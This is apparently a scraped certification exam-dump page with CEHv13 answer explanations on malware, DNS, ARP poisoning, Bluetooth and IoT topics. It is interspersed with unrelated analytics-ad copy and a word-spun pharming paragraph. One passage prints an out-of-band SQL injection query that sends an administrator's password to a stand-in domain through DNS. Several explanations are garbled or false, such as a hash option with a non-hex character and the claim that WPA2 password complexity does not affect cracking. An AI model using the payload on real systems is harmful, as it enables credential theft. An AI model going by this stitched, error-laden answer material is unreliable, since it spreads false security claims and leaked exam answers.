ECCouncil 312-50v13 - Certified Ethical Hacker Exam (CEHv13)

When partial root access exists, preventing further privilege abuse is the immediate priority. CEH v13 explains that Mobile Application Management (MAM) enforces granular access control, application isolation, and permission enforcement—even on compromised devices.

Secure coding (Option A) and testing (Option C) are preventative measures but do not contain an active compromise. Certificate pinning (Option B) protects communications, not application control.

MAM solutions allow administrators to revoke access, enforce policies, and isolate apps, limiting attacker capabilities post-compromise. Therefore, Option D is correct.

Increase your web site’s performance and grow! Add Web-Stat to your site (it’s free!) and watch individuals act together with your pages in real time.

Learn how individuals realize your web site. Get details concerning every visitor’s path through your web site and track pages that flip browsers into consumers.

One-click install. observe locations, in operation systems, browsers and screen sizes and obtain alerts for new guests and conversions

The Certified Ethical Hacker (CEH) Malware Threats module explains that modern malware increasingly uses fileless techniques and living-off-the-land strategies, communicating over legitimate protocols like HTTP and DNS to evade detection.

Because this traffic blends with normal activity, port-based blocking and signature-based antivirus are often ineffective. CEH highlights behavioral analytics and network traffic analysis as the most reliable detection mechanisms for identifying anomalies such as:

Unusual outbound DNS queries

Abnormal HTTP beaconing patterns

Suspicious process behavior

Option C is correct because it focuses on detecting behavioral anomalies, which CEH identifies as essential for combating advanced malware and command-and-control (C2) channels.

Option D may disrupt business operations and does not address DNS-based C2.

Option A is outdated.

Option B cannot detect unknown or fileless malware.

CEH strongly recommends anomaly detection and behavioral monitoring for advanced threats.

LM hashes are split into two 16-character halves (each representing 7-character blocks). If the original password is less than 8 characters, the second half of the LM hash will always be a constant:

"AAD3B435B51404EE"

This known value is used to pad the second half of the password, and it signals that the original password was 7 characters or fewer.

In the options:

B. 44EFCE164AB921CQAAD3B435B51404EE ← ends with AAD3B435B51404EE → < 8 chars

E. B757BF5C0D87772FAAD3B435B51404EE ← also ends with AAD3B435B51404EE → < 8 chars

From CEH v13 Official Courseware:

Module 6: Malware Threats → LM Hash Weaknesses

CEH’s approach to suspected compromise aligns with an incident-handling mindset: containment first, then analysis and remediation. In IoT and OT-adjacent environments (smart city infrastructure, SCADA-like components, embedded controllers), CEH emphasizes that suspicious external communications and unexplained open ports may indicate compromise, misconfiguration, exposed management services, or implanted malware/backdoors. Because IoT endpoints often have limited logging and are difficult to reimage safely, the safest next step is to isolate the suspected device to prevent further data exfiltration, command-and-control activity, or lateral movement to other city systems.

Option A best matches CEH guidance: isolate the device and investigate its firmware, services, and configuration, including checking for unauthorized binaries, altered firmware images, insecure default services, and hardcoded credentials. This also preserves evidence and reduces the blast radius.

Option C (blocking the external IP) can be helpful, but it’s a partial control: attackers can rotate infrastructure, and the device could still be compromised internally. Option B (full network pen test) is too broad and delays containment when a specific high-risk indicator is already present. Option D (attempting a reverse connection) crosses into active exploitation behavior and is not an appropriate “next step” in a defensive investigation; CEH methodology stresses authorized, controlled testing and prioritizes risk reduction over interacting with suspicious external hosts.

Thus, CEH-aligned best practice is immediate isolation and firmware-level investigation.

Brute-force attack when an attacker uses a set of predefined values to attack a target and analyze the response until he succeeds. Success depends on the set of predefined values. It will take more time if it is larger, but there is a better probability of success. In a traditional brute-force attack, the passcode or password is incrementally increased by one letter/number each time until the right passcode/password is found.

Virtual Patching is a risk-mitigation technique emphasized in CEH v13 Security Operations. It involves deploying compensating controls—such as WAF rules, IPS signatures, or firewall policies—to block exploitation attempts without modifying the vulnerable system.

CEH v13 highlights virtual patching as especially useful when:

Downtime is unacceptable

Vendor patches are delayed

Legacy systems are in use

Monitoring alone does not prevent exploitation, and shutting down systems is often impractical. Virtual patching provides immediate protection while maintaining availability.

Censys is a powerful Internet-wide scanning tool that allows users to:

Discover and analyze devices and services exposed to the public internet

Enumerate connected IoT devices, open ports, software versions

Provide structured and searchable reports for vulnerability analysis

According to CEH v13:

Censys continuously scans the IPv4 address space and maintains up-to-date databases of connected devices and their metadata.

Incorrect Options:

B. Wapiti is a web application vulnerability scanner.

C. NeuVector is a container security solution.

D. Lacework is a cloud workload protection platform, not focused on IoT enumeration.

Reference – CEH v13 Official Courseware:

Module 18: IoT and OT Hacking

Section: “IoT Discovery Tools”

Tool Focus: Censys, Shodan

=

Windows 2000 and newer systems use Kerberos as their default authentication protocol rather than NTLM or LM challenge/response over SMB. Kerberos is encrypted and does not rely on the older SMB logon exchange methods that L0phtCrack can sniff.

From CEH v13 Courseware:

Module 6: Malware and Password Attacks

Module 4: Enumeration

CEH v13 Study Guide states:

“Kerberos is the default authentication protocol in Windows 2000 and newer systems. It encrypts communication and is not vulnerable to the same sniffing attacks that work against LM/NTLM challenge-response mechanisms.”

Incorrect Options:

A: While a NIDS may detect traffic, it doesn't prevent sniffing.

C: Logons can be sniffed in older systems using NTLM.

D: L0phtCrack does not sniff web logons—it targets SMB and Windows logins.

Bluesnarfing is a Bluetooth attack described in CEH v13 Wireless Network Hacking, where attackers exploit misconfigured Bluetooth devices to access sensitive data such as contacts, messages, and files—often without user interaction.

One of the most critical enablers of Bluesnarfing is Bluetooth discoverable mode. When devices are discoverable, attackers can easily identify them and attempt unauthorized connections or exploit vulnerabilities in Bluetooth services.

Disabling discoverable mode significantly reduces the attack surface by preventing unauthorized devices from locating Bluetooth-enabled systems. CEH v13 explicitly recommends setting Bluetooth devices to non-discoverable mode when not pairing.

While firmware updates (Option B) are important, they do not immediately prevent discoverability-based attacks. Stronger PINs (Option C) help against pairing attacks but do not stop unauthorized queries. Network-level encryption (Option D) is inherent in Bluetooth protocols and does not mitigate discovery abuse.

CEH v13 highlights that visibility control is the most immediate and effective defense against Bluesnarfing. Therefore, Option A is the correct answer.

Tess King is attempting to gather all DNS records from a target zone. This process is referred to as a zone transfer (AXFR), which is typically performed by secondary name servers to synchronize DNS data with the primary. If improperly secured, attackers can initiate unauthorized zone transfers to enumerate valuable information such as:

Hostnames

IP addresses

Mail servers

Name servers

CEH v13 defines a zone transfer as a crucial step in DNS enumeration.

From CEH v13 Official Courseware:

Module 3: Scanning Networks

Topic: DNS Enumeration → Zone Transfers

CEH v13 Study Guide states:

“A zone transfer (AXFR) is a DNS transaction used to replicate DNS databases. Attackers can exploit this feature to extract all DNS information from an improperly secured server.”

Incorrect Options:

A. Zone harvesting is not a formal term.

C. Zone update refers to DNS dynamic update operations (e.g., DDNS).

D. Zone estimate is not a DNS-related process.

DNS poisoning (also known as DNS cache poisoning) occurs when a malicious actor injects false DNS data into a DNS resolver's cache. The poisoned entry will persist for the duration of its TTL (Time To Live), which is defined in the DNS SOA (Start of Authority) record.

The SOA record contains several fields including:

Serial number

Refresh

Retry

Expire

Minimum TTL

The Minimum TTL value in the SOA record determines how long a DNS resolver should cache the DNS data — including any potentially poisoned data.

From CEH v13 Official Courseware:

Module 3: Scanning Networks

Topic: DNS Enumeration & Poisoning

CEH v13 Study Guide states:

“The SOA record includes a minimum TTL value that dictates how long DNS information should be cached by other DNS servers. If DNS cache poisoning occurs, the false information will persist until the TTL expires.”

Incorrect Options:

A: MX (Mail Exchange) defines mail servers, not TTLs.

C: NS (Name Server) specifies authoritative servers, not caching durations.

D: TIMEOUT is not a valid DNS resource record.

Comprehensive and Detailed Explanation:

ARP Poisoning (Address Resolution Protocol Poisoning) is a classic Man-in-the-Middle (MiTM) attack in a LAN environment. It works by sending fake ARP replies to devices on a network to associate the attacker’s MAC address with the IP address of another host (typically the default gateway). As a result:

Network traffic meant for the gateway is sent to the attacker instead.

The attacker can then intercept, modify, or forward the traffic to the actual destination, performing a full MiTM.

This allows the attacker to:

Sniff sensitive data (e.g., credentials, emails)

Hijack sessions

Inject malicious payloads

From CEH v13 Courseware:

Module 8: Sniffing

Topic: MiTM Attacks → ARP Spoofing Techniques

Incorrect Options:

A. Password Sniffing is a result of MiTM but not a technique itself.

C. MAC Flooding is a switch attack that floods the CAM table to make the switch act like a hub.

D. DHCP Sniffing relates to capturing DHCP messages but is not commonly used for MiTM.

According to CEH v13 Module 09: Social Engineering, both pharming and phishing are forms of fraud that direct users to malicious websites. However, their techniques differ:

Pharming involves modifying DNS entries or the victim's host file to silently redirect users to a malicious site without needing user interaction.

Phishing involves sending links via emails or messages where the URL is visually deceptive (misspelled, similar domain names, homoglyph attacks).

Sending an email to a known non-existent user is a reconnaissance technique used to:

Analyze bounce-back (NDR) messages.

Discover the email server’s operating system, filtering behavior, internal mail routing, and directory structure.

Reveal technologies such as Exchange, Postfix, etc.

From CEH v13 Official Courseware:

Module 2: Footprinting and Reconnaissance

CEH v13 Study Guide states:

“Sending a message to an invalid address can reveal error messages or NDRs that leak internal system details, such as mail server versions, spam filtering technologies, and internal naming conventions.”

Incorrect Options:

A: Not applicable.

B/C: Not the purpose here.

E: Anti-virus testing requires a separate controlled method.

An ‘out-of-band’ SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application’s responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator’s password1.

The network is using an uncrackable encryption method, which makes it difficult to crack the Wi-Fi password. WPA2 Personal with AES encryption is the strongest form of security offered by Wi-Fi devices at the moment, and it should be used for all purposes. AES stands for Advanced Encryption Standard, and it is a symmetric-key algorithm that uses a 128-bit, 192-bit, or 256-bit key to encrypt and decrypt data. AES is considered to be uncrackable by brute force attacks, as it would take an impractical amount of time and computational power to try all possible key combinations12. Therefore, unless you have access to the Wi-Fi password or the encryption key, you will not be able to decrypt the network traffic and crack the password.

The other options are not correct for the following reasons:

A. The Wi-Fi password is too complex and long: This option is not relevant because the Wi-Fi password is not directly used to encrypt the network traffic. Instead, the password is used to generate a Pre-Shared Key (PSK), which is then used to derive a Pairwise Master Key (PMK), which is then used to derive a Pairwise Transient Key (PTK), which is then used to encrypt the data. Therefore, the complexity and length of the password do not affect the encryption strength, as long as the password is not easily guessed or leaked34.

B. Your hacking tool is outdated: This option is not plausible because even if your hacking tool is outdated, it would not affect your ability to capture the network traffic and attempt to crack the password. The hacking tool may not support the latest Wi-Fi standards or protocols, but it should still be able to capture the raw data packets and save them in a file. The cracking process would depend on the encryption algorithm and the key, not on the hacking tool.

D. The network is using MAC address filtering: This option is not feasible because MAC address filtering is a technique that restricts network access and communication to trusted devices based on their MAC addresses, which are unique identifiers assigned to network interfaces. MAC address filtering can prevent unauthorized devices from joining the network, but it cannot prevent authorized devices from capturing the network traffic. Moreover, MAC address filtering can be easily bypassed by spoofing the MAC address of an allowed device56.

This question relates to Malware Analysis, specifically PDF-based malware, as covered in the CEH v13 Malware Threats module. The presence of /JavaScript and /OpenAction keywords identified by pdfid strongly indicates potentially malicious behavior triggered when the PDF is opened.

CEH v13 recommends static analysis of PDF stream objects as the next step to understand embedded malicious logic. Tools such as PDFStreamDumper allow analysts to extract, decompress, and inspect object streams within a PDF file, revealing obfuscated JavaScript code or exploit payloads.

The /OpenAction keyword indicates that the embedded JavaScript executes automatically when the document is opened, a common technique used in PDF-based attacks to exploit reader vulnerabilities or download secondary payloads.

Other options are insufficient:

VirusTotal provides detection results but not behavioral insight.

PE Explorer is irrelevant because PDFs are not Portable Executable files.

Hashing only helps identify known malware, not analyze behavior.

CEH v13 emphasizes manual inspection of embedded scripts to determine intent, making PDFStreamDumper the correct next step.

A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data.

Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”

Internet of Medical Things (IoMT) devices are internet-connected medical devices that can collect, transfer, and analyze data over a network. They can provide improved patient care and comfort, but they also pose security challenges and risks, as they can be targeted by cyberattacks, such as ransomware, that can compromise their functionality, integrity, or confidentiality. Ransomware is a type of malware that encrypts the victim’s data or system and demands a ransom for its decryption or restoration. Ransomware attacks can cause serious harm to healthcare organizations, as they can disrupt their operations, endanger their patients, and damage their reputation.

To protect IoMT devices from ransomware attacks, the main recommendation is to use network segmentation to isolate IoMT devices from the main network. Network segmentation is a technique that divides a network into smaller subnetworks, each with its own security policies and controls. Network segmentation can prevent or limit the spread of ransomware from one subnetwork to another, as it restricts the communication and access between them. Network segmentation can also improve the performance, visibility, and manageability of the network, as it reduces the network congestion, complexity, and noise.

The other options are not as effective or feasible as network segmentation. Implementing multi-factor authentication for all IoMT devices may not be possible or practical, as some IoMT devices may not support or require user authentication, such as sensors or monitors. Disabling all wireless connectivity on IoMT devices may not be desirable or realistic, as some IoMT devices rely on wireless communication protocols, such as Wi-Fi, Bluetooth, or Zigbee, to function or transmit data. Regularly changing the IP addresses of all IoMT devices may not prevent or deter ransomware attacks, as ransomware can target devices based on other factors, such as their domain names, MAC addresses, or vulnerabilities. References:

What Is Internet of Medical Things (IoMT) Security?

5 Steps to Secure Internet of Medical Things Devices

Ransomware in Healthcare: How to Protect Your Organization

[Network Segmentation: Definition, Benefits, and Best Practices]